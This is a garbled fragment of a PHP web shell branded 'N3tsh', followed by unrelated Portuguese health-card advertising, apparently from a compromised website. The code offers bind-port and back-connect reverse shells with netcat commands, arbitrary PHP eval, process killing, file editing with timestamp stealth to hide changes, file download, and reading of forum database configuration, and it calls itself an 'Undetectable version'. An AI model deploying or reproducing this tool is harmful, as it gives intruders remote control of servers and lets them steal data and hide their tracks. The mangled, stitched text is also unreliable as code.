}
echo \"
\";
echo \"\";
}
}
if ($act == \"tools\")
{
$bndportsrcs = array(
\"N3tsh_bindport.pl\"=>array(\"Using PERL\",\"perl %path %port\"),
\"N3tsh_bindport.c\"=>array(\"Using C\",\"%path %port %pass\")
);
$bcsrcs = array(
\"N3tsh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\"),
\"N3tsh_backconn.c\"=>array(\"Using C\",\"%path %host %port\")
);
$dpsrcs = array(
\"N3tsh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehost %remoteport\"),
\"N3tsh_datapipe.c\"=>array(\"Using C\",\"%path %localport %remoteport %remotehost\")
);
if (!is_array($bind)) {$bind = array();}
if (!is_array($bc)) {$bc = array();}
if (!is_array($datapipe)) {$datapipe = array();}
if (!is_numeric($bind[\"port\"])) {$bind[\"port\"] = $bindport_port;}
if (empty($bind[\"pass\"])) {$bind[\"pass\"] = $bindport_pass;}
if (empty($bc[\"host\"])) {$bc[\"host\"] = getenv(\"REMOTE_ADDR\");}
if (!is_numeric($bc[\"port\"])) {$bc[\"port\"] = $bc_port;}
if (empty($datapipe[\"remoteaddr\"])) {$datapipe[\"remoteaddr\"] = \"irc.dalnet.ru:6667\";}
if (!is_numeric($datapipe[\"localport\"])) {$datapipe[\"localport\"] = $datapipe_localport;}
if (!empty($bindsubmit))
{
echo \"Result of binding port: \".getenv(\"SERVER_ADDR\").\":\".$bind[\"port\"].\" ! You should use NetCat©, run \\\"nc -v \".getenv(\"SERVER_ADDR\").\" \".$bind[\"port\"].\" \\\"!View binder\'s process Result of back connection: Result of datapipe-running: \".getenv(\"SERVER_ADDR\").\":\".$datapipe[\"port\"].\", and you will connected to \".$datapipe[\"remoteaddr\"].\" ! You should use NetCat©, run \\\"nc -v \".getenv(\"SERVER_ADDR\").\" \".$bind[\"port\"].\" \\\"!View datapipe process Binding port: Back connection: nc -l -n -v -p \"!Datapipe: Note: sources will be downloaded from remote server.Processes:\".$head[$i].\" \";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo \"\";
$line = explode(\" \",$line);
$line[10] = join(\" \",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) {$line[0] = \"\".$line[0].\" \";}
$line[] = \"KILL \";
}
}
}
else
{
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
while (ereg(\"\",$ret)) {$ret = str_replace(\"\",\"\",$ret);}
while (ereg(\" \",$ret)) {$ret = str_replace(\" \",\"\",$ret);}
$ret = convert_cyr_string($ret,\"d\",\"w\");
$stack = explode(\"\\n\",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$head = explode(\"\",$stack[0]);
$head[1] = explode(\" \",$head[1]);
$head[1] = $head[1][0];
$stack = array_slice($stack,1);
unset($head[2]);
$head = array_values($head);
if ($parsesort[1] != \"a\") {$y = \"\".trim($head[$i]).\" \";}
}
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo \"\";
$line = explode(\"\",$line);
$line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
$line[2] = intval(str_replace(\" \",\"\",$line[2]))*1024;
$prcs[] = $line;
echo \" \";
}
}
}
$head[$k] = \"\".$head[$k].\" \".$y;
$v = $processes_sort[0];
usort($prcs,\"tabsort\");
if ($processes_sort[1] == \"d\") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo \"\";
foreach($tab as $i=>$k)
{
echo \"\";
foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo \"\".$v.\" \";}
echo \" \";
}
echo \"
\";
}
}
if ($act == \"eval\")
{
if (!empty($eval))
{
echo \"Result of execution this PHP-code :Execution PHP-code \"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
echo \"\";
}
if ($act == \"f\")
{
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != \"edit\")
{
if (file_exists($d.$f)) {echo \"Permision denied (\".htmlspecialchars($d.$f).\")! File does not exists (\".htmlspecialchars($d.$f).\")! Create Viewing file: \".$t[0].\" \".$t[0].\" \".$t[0].\" + ) |\";
}
echo \"Information: Path \".$d.$f.\" Size \".view_size(filesize($d.$f)).\" MD5 \".md5_file($d.$f).\" Owner/Group \";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow[\"name\"]?$ow[\"name\"]:fileowner($d.$f)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d.$f));
}
echo \" Perms \".view_perms_color($d.$f).\" Create time \".date(\"d/m/Y H:i:s\",filectime($d.$f)).\" Access time \".date(\"d/m/Y H:i:s\",fileatime($d.$f)).\" MODIFY time \".date(\"d/m/Y H:i:s\",filemtime($d.$f)).\"
FULL HEXDUMP \"; $str = fread($fi,filesize($d.$f));}
else {echo \"HEXDUMP PREVIEW \"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = \"000000000\"; break;
case 32:
case 10:
case 13: $a2 .= \" \"; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows)
{
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf(\"%08X\",$i+1).\"\".$a0.\" \".$a1.\" \".$a2.\"
Base64 Encode Base64 Encode + Chunk Base64 Encode + Chunk + Quotes Base64 Decode\";
if (base64_encode($encoded) != $text) {echo \" (failed)\";}
echo \" HEXDUMP: [Full ] [Preview ]Base64:
[Encode ]
[+chunk ]
[+chunk+quotes ]
[Decode ]
\";
}
elseif ($ft == \"html\")
{
if ($white) {@ob_clean();}
echo $r;
if ($white) {N3tshexit();}
}
elseif ($ft == \"txt\") {echo \"
\".htmlspecialchars($r).\" \";}
elseif ($ft == \"ini\") {echo \"\"; var_dump(parse_ini_file($d.$f,TRUE)); echo \" \";}
elseif ($ft == \"phpsess\")
{
echo \"\";
$v = explode(\"|\",$r);
echo $v[0].\" \";
}
elseif ($ft == \"exe\")
{
$ext = explode(\".\",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = \"\";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace(\"%f%\",$f,$rft);
echo \"Execute file: \";
}
elseif ($ft == \"sdb\") {echo \"\"; var_dump(unserialize(base64_decode($r))); echo \" \";}
elseif ($ft == \"code\")
{
if (ereg(\"php\".\"BB 2.(.*) auto-generated config file\",$r))
{
$arr = explode(\"\\n\",$r);
if (count($arr == 18))
{
include($d.$f);
echo \"phpBB configuration is detected in this file!Connect to DB \";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {N3tshexit();}
echo \"
\";
}
elseif ($ft == \"download\")
{
@ob_clean();
header(\"Content-type: application/octet-stream\");
header(\"Content-length: \".filesize($d.$f));
header(\"Content-disposition: attachment; filename=\\\"\".$f.\"\\\";\");
echo $r;
exit;
}
elseif ($ft == \"notepad\")
{
@ob_clean();
header(\"Content-type: text/plain\");
header(\"Content-disposition: attachment; filename=\\\"\".$f.\".txt\\\";\");
echo($r);
exit;
}
elseif ($ft == \"img\")
{
$inf = getimagesize($d.$f);
if (!$white)
{
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo \"Size: \";
$sizes = array(\"100\",\"50\",\"20\");
foreach ($sizes as $v)
{
echo \"\";
if ($imgsize != $v ) {echo $v;}
else {echo \"\".$v.\" \";}
echo \" \";
}
echo \"Can\'t write to file! \";}
else
{
echo \"Saved! \";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode(\"\\r\\n\",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
echo \"\";
}
elseif (!empty($ft)) {echo \"Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \\$GLOBALS. Unknown extension (\".$ext.\"), please, select type manually. \";
foreach ($k as $u) {echo $u.\": \";
}
exit;
}
if ($act == \"about\") {echo \"Undetectable version by \";}
?>
:: Make Dir :: :: Make File ::
:: Go Dir :: :: Go File ::
CONFIRA AS VANTAGENS DO CARTÃO PLUS SAÚDE
SEM CARÊNCIA
SEM LIMITES DE IDADE
SEM RESTRIÇÕES DE USO
AMPLA REDE DE CREDENCIADOS
ATENDIMENTO ODONTOLÓGICO PRÓPRIO
Hora Atual - Data Atual
![](\\\"http://emp3ror.com/images/emplogo1.gif\\\")
